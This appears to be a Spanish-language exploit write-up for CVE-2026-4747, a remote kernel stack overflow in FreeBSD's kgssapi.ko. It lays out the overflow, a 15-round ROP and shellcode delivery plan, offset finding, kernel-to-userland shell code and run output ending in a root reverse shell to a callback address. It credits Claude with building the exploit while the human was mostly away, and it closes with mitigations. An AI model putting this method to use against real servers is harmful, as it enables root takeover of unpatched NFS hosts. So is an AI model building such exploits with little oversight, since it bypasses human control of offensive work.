  ____ __     ______       ____   ___ ____   __          _  _____ _  _  ___ 
 / ___/\ \   / / ___|     |___ \ / _ \___ \  \ \        | ||___  | || ||__ \
| |    \ \ / /| |    ___    __) | | | |__) |  \ \   _   | |   / /| || |_  ) |
| |___  \ V / | |___|___| / __/| |_| / __/    \ \ | |__| |  / / |__   _|/ / 
 \____|  \_/   \____|    |_____|\___/_____|    \_\ \____/  /_/      |_||___|

CVE-2026-4747 — FreeBSD Remote Kernel RCE

Stack Buffer Overflow en kgssapi.ko → Root Shell en ~4 horas

Campo	Valor
CVE ID	CVE-2026-4747
CWE	CWE-121 (Stack-based Buffer Overflow)
Componente	`kgssapi.ko` / `librpcgss_sec`
Protocolo	NFS / RPCSEC_GSS / Kerberos
Privilegio requerido	Ticket Kerberos válido (bajo privilegio)
Impacto	Remote Kernel Code Execution → uid 0
CVSS	9.8 Critical
Parcheado	FreeBSD-SA-26:08.rpcsec_gss

26 Mar 2026 ── FreeBSD publica FreeBSD-SA-26:08.rpcsec_gss
               Crédito: "Nicholas Carlini using Claude, Anthropic"

29 Mar 2026 ── 09:45 AM PDT: Se solicita a Claude desarrollar un exploit
               05:00 PM PDT: Claude entrega shell de root funcional

               Total: ~7h wall clock / ~4h de trabajo real de Claude
               El humano estuvo AFK durante gran parte del proceso.

/* En svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128];  /* Buffer en la pila */

/* 32 bytes ya consumidos por campos del header RPC */
/* Solo quedan 96 bytes libres                       */

/* XDR permite credentials de hasta 400 bytes        */
/* 400 - 96 = 304 bytes de overflow → RIP hijack    */
memcpy(rpchdr, credential_body, credential_len);  /* ← BUG: sin verificar tamaño */

Atacante (red)
    │
    │  Ticket Kerberos válido para nfs/target@REALM
    │
    ▼
NFS Server (puerto 2049/TCP)
    │
    │  RPCSEC_GSS request con credential_len = 400
    │
    ▼
svc_rpc_gss_validate() ← kernel ring 0
    │
    │  memcpy sin verificar tamaño
    │  [128 bytes buffer + 304 bytes overflow]
    │
    ▼
Stack Smashing → RIP controlado → ROP chain → Shellcode
    │
    ▼
kproc_create() + kern_execve("/bin/sh") → uid=0 reverse shell

# VM FreeBSD 14.4-RELEASE con:
# - 2+ CPUs (FreeBSD spawna 8 threads NFS por CPU; el exploit necesita 15 rondas)
# - kgssapi.ko cargado
# - NFS activo en puerto 2049
# - MIT Kerberos KDC configurado (requerido para alcanzar el código vulnerable)
# - Port forwarding QEMU: host:2049 → guest:2049, host:8888 → guest:88 (KDC)

# Configuración Kerberos crítica en el atacante:
# /etc/krb5.conf
[libdefaults]
    rdns = false                        # Sin esto: ticket para nfs/localhost@REALM (incorrecto)
    dns_canonicalize_hostname = false   # El servidor rechaza con KRB5KRB_AP_WRONG_PRINC

Ronda  1:  ROP → pmap_change_prot(BSS, RWX)     ← hacer BSS ejecutable
Rondas 2-14: ROP → write 32 bytes de shellcode al BSS (4 writes × 8 bytes)
Ronda 15: ROP → write últimos bytes + JUMP al shellcode

Budget por ronda: 4 writes × 40 bytes = 160 bytes + 24 bytes exit = 184 bytes ✓ (< 200)

; Cada ronda termina con kthread_exit(0) en lugar de retorno normal
; El servidor no crashea — simplemente pierde un thread NFS
; Con 2 CPUs: 16 threads disponibles → suficiente para 15 rondas

# Secuencia De Bruijn → cada substring de 8 bytes es único
# Enviar como credential body → kernel crashea → leer RIP del crash dump
# El disassembly decía offset 168 → real: 200 bytes
# Diferencia: 32 bytes del GSS header que el análisis estático no contempló

pattern = cyclic(400)  # De Bruijn de 400 bytes
# Crash dump: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200

/* Fase 1 (en shellcode del thread NFS hijackeado): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit();  /* Matar thread NFS limpiamente */

/* Fase 2 (en el nuevo proceso): */
/* 1. Limpiar debug registers (bug de hardware - ver Paso 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");

/* 2. Ejecutar /bin/sh */
kern_execve("/bin/sh", args, envp);

/* 3. CRÍTICO: Limpiar P_KPROC flag */
/* Sin esto, fork_exit() llama kthread_exit() y mata el proceso */
proc->p_flag &= ~P_KPROC;

/* 4. Retornar → fork_exit() → userret() → iretq → ring 3 → uid=0 shell */

Síntoma: El proceso hijo crashea con trap 1 (debug exception) en instrucción válida.
Causa: kproc_create/fork1 copia el PCB del padre, heredando los breakpoints de DDB
       que quedaron de crashes anteriores durante el desarrollo del exploit.

Fix: Dos instrucciones antes de kproc_create:
  xor eax, eax
  mov dr7, rax    ← Deshabilita todos los hardware breakpoints

$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================

  Target:   127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/[email protected]

  Shellcode: 432 bytes (54 qwords)
  Delivery:  15 rounds (1 pmap + 14 write)

  [R1/15]  pmap_change_prot(BSS, 0x2000, RWX)
  [+] BSS is now RWX

  [R2/15]  write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15]  write (4 qwords → 0xffffffff8198a820) ✓
  ...
  [R15/15] write + EXECUTE → JUMP 0xffffffff8198a800

  [*] Shellcode delivered and executing.
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] Reverse shell → 10.0.2.2:4444

  [+] Connection from 127.0.0.1:41320
  [+] Got shell!

sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

# Descargar FreeBSD 14.4-RELEASE
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso

# Crear disco y arrancar VM con 2+ CPUs
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
  -hda freebsd-vuln.qcow2 \
  -cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
  -m 2G \
  -smp 2 \                    # 2+ CPUs para 16+ NFS threads
  -net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -net nic \
  -nographic 2>&1 | tee qemu.log   # Log para leer crash dumps

# Dentro de FreeBSD: configurar NFS + Kerberos
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf

# Setup KDC básico
pkg install heimdal
# Crear principals: nfs/[email protected], [email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]

1. Instalar FreeBSD 14.4-RELEASE en VMware
2. En Network Adapter: seleccionar "NAT" o "Host-only"
3. Configurar port forwarding en VMware NAT:
   - Host 2049 TCP → Guest 2049
   - Host 88 TCP/UDP → Guest 88 (KDC)
4. Mismo setup de NFS/Kerberos que QEMU
5. En /etc/krb5.conf del atacante: 
   kdc = 127.0.0.1:88   (apunta al port forward)

# 1. Deshabilitar kgssapi si RPCSEC_GSS no es necesario
kldunload kgssapi
# En /boot/loader.conf:
# kgssapi_load="NO"

# 2. Restringir acceso NFS con firewall
ipfw add deny tcp from any to any 2049 not via lo0
# O con pf:
# block in quick on em0 proto tcp to port 2049

# 3. Requerir autenticación Kerberos solo desde IPs de confianza
# /etc/exports:
# /data -sec=krb5 -network=192.168.1.0 -mask=255.255.255.0

CVE-2026-4747

Más Populares

Índice

📋 Descripción

Datos técnicos

📅 Línea de Tiempo

🔬 Análisis Técnico del Bug

El overflow

Por qué es explotable sin mitigaciones

Ruta de explotación

⚔️ Metodología de Explotación

Paso 0: Setup del laboratorio

Paso 1: Estrategia multi-paquete (staged write loop)

Paso 2: Salida limpia de threads

Paso 3: Offset debugging con De Bruijn

Paso 4: Transición kernel → userland

Paso 5: Bug de hardware — Debug Registers (DR7)

🖥️ El Exploit en Acción

🧪 Setup del Entorno Vulnerable

QEMU (recomendado para debugging con GDB)

VMware (alternativa sin KDC tunnel)

🛡️ Mitigación

Parche inmediato

Mitigaciones alternativas

🏁 Conclusión

⚠️ Disclaimer